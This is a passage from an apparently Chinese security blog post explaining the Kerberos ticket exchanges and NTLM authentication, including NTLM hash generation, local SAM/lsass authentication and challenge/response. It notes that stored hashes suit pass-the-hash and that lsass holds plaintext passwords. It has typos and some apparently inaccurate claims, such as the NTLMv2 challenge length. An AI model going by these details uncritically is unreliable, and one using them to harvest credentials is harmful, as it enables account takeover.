  • Server name & realm:Domain_name/Server,这里的 Server 是 Client 试图访问的 Server

TGS 收到 KRB_TGS_REQ 后,使用自己(KDC)的 Master Key对 Client 提供的 TGT 进行解密,获得这个 Logon Session Key,再通过这个 Logon Session Key 解密 Authenticator 进行验证,通过后向对方发送 Ticket Granting Service Response(KRB_TGS_REP),由两部分组成:使用 Logon Session Key 加密的用于 Client 和 Server 通信的 Session Key (SServer-Client)和使用 Server 的 Master Key 加密的 Ticket,该 Ticket 包含以下内容:

  • Session Key:SServer-Client
  • Client name & realm:Domain_name/Client
  • End time:Ticket 的到期时间

Client 收到 KRB_TGS_REP,使用 Logon Session Key 解密第一部分获得 Session Key(SServer-Client),Client 使用这个 Session Key 和 Ticket 与 Server 交互。

Client/Server Exchange

Client 通过 TGS Exchange 获得 Client 和 Server 的 Session Key,用 Session Key 加密 Authenticator,并将这个加密过的 Authenticator 和 Ticket 作为 Application Service Request(KRB_AP_REQ)发送给 Server,除了上述两项内容意外,KRB_AP_REQ 还包含一个 Flag 用于表示 Client 是否需要进行双向验证(Mutual Authentication)。

Server 接收到 KRB_AP_REQ 之后,通过自己的 Master Key 解密 Ticket,从而获得 Session Key,用 Session Key 解密 Authenticator,验证对方的身份。如果需要双向验证, Server 从 Authenticator 提取 Timestamp,使用 Session Key(SServer-Client)加密发送给 Client 验证 Server 的身份。

User2User Sub-Protocol

由以上三个子过程进行的验证过程仍然是不完善的,因为使用了长期的密钥(Server Master Key)在网络上传输。解决方案是采用一个 Short-term 的 Session-Key 而不是 Server Master Key 对 Ticket 进行加密,这就是 User2User Protocol。用于加密 Ticket 的是 Server 和 KDC 之间的 Session Key。

原本在 AS Exchange 阶段,Client 获得的 TGT 中的 Ticket

NTLM

NTLM Hash

通常意义上的 NTLM Hash 指存储在 SAM 数据库 以及 NTDS 数据库中对密码进行 Hash 摘要计算后的结果。这类 Hash 可以直接用于 PTH,并且通常存在于 lsass进程中便于 SSP(NTLM 安全支持提供程序)使用

生成过程:

  • 用户密码:susi2001
  • 首先,密码经过十六进制转为 7375736932303031
  • 将十六进制结果转为 Unicode格式 73007500730069003200300030003100
  • 以 Hex(16进制)数据作 MD4加密 ed3202726368f8e9fd23e78fbfac8c13

其中的 MD4 加密使用 HashCalc

本地认证

Windows 不存储用户的铭文密码,它会将用户的明文密码经过加密后存储在 SAM(Security Account Manager Database)中,SAM 的路径为%SystemRoot%\system32\config\sam

在进行本地认证时,用户登录,系统将用户输入的明文密码转换成 NTLM Hash,与 SAM 数据库中的 NTLM Hash 进行比较来实现认证。

首先,用户注销、重启、锁屏后,操作系统会让 winlogon 显示登陆界面,也就是输入框,接受输入后,将密码交给 lsass 进程,这个进程中会存有一份明文密码,将明文密码加密成 NTLM Hash,对比 SAM 数据库中的 Hash 进行验证。

NTLM

NTLM 是一种网络认证协议,是以 NTLM Hash 作呕为根本凭证进行认证的协议。基于质询/应答(Challenge/Response)消息交换模式,常用于在工作组和域环境下登陆场景的身份认证

认证方式分为交互式认证和非交互式认证。

  • 交互式认证:使用域账号登录到客户端,涉及客户端和域控两部分
  • 非交互式认证:在已经登陆的客户端上使用 SSO 方式访问一台服务器,涉及客户端、域控和服务器。

认证流程

NTLM 协议的认证过程有三步:

  • 协商:主要用于确认双方协议版本(NTLMv1,NTLMv2 等)
  • 质询:质询/应答(Challenge/Response)模式,用于信息交换
  • 验证:验证身份的合法性,同窗由 Server 端或者 DC 完成这个过程

大致流程:

  • 使用用户名和密码尝试登陆客户端
  • 客户端对密码进行哈希处理并缓存密码 Hash,丢弃实际的明文密码(不存储),然后将用户名发送给服务器,发起认证请求
  • 服务器生成一个 16 字节的随机数,成为质询(Challenge)或随机数(nonce aspx),并发送给客户端
  • 客户端使用缓存的 Hash 对 Challenge 进行加密,加密结果为 Response,然后将结果发送给服务器
  • 服务器发送三项数据给域控:User name;发送给客户端的 Challenge(已加密);从客户端接收到的 Response
  • 域控使用 User name 从 AD 中检索该用户密码的 NTLM Hash,并使用此 NTLM Hash来加密 Challenge,然后把这个值和客户端计算的响应值(Response)进行比较,相同则验证成功

Net-NTLM Hash

经过 NTLM Hash 加密的 Challenge 结果在网络协议中成为 Net NTLM Hash,包含在 Response 中

NTLM v2

相比于 NTLM v1,NTLM v2 把 Challenge 从 8 byte 改为 16 byte,计算 Net NTLM Hash 的算法由 DES 改为 HMAC-MD5

作者

lll

发布于

2020-07-29

更新于

2022-09-19

许可协议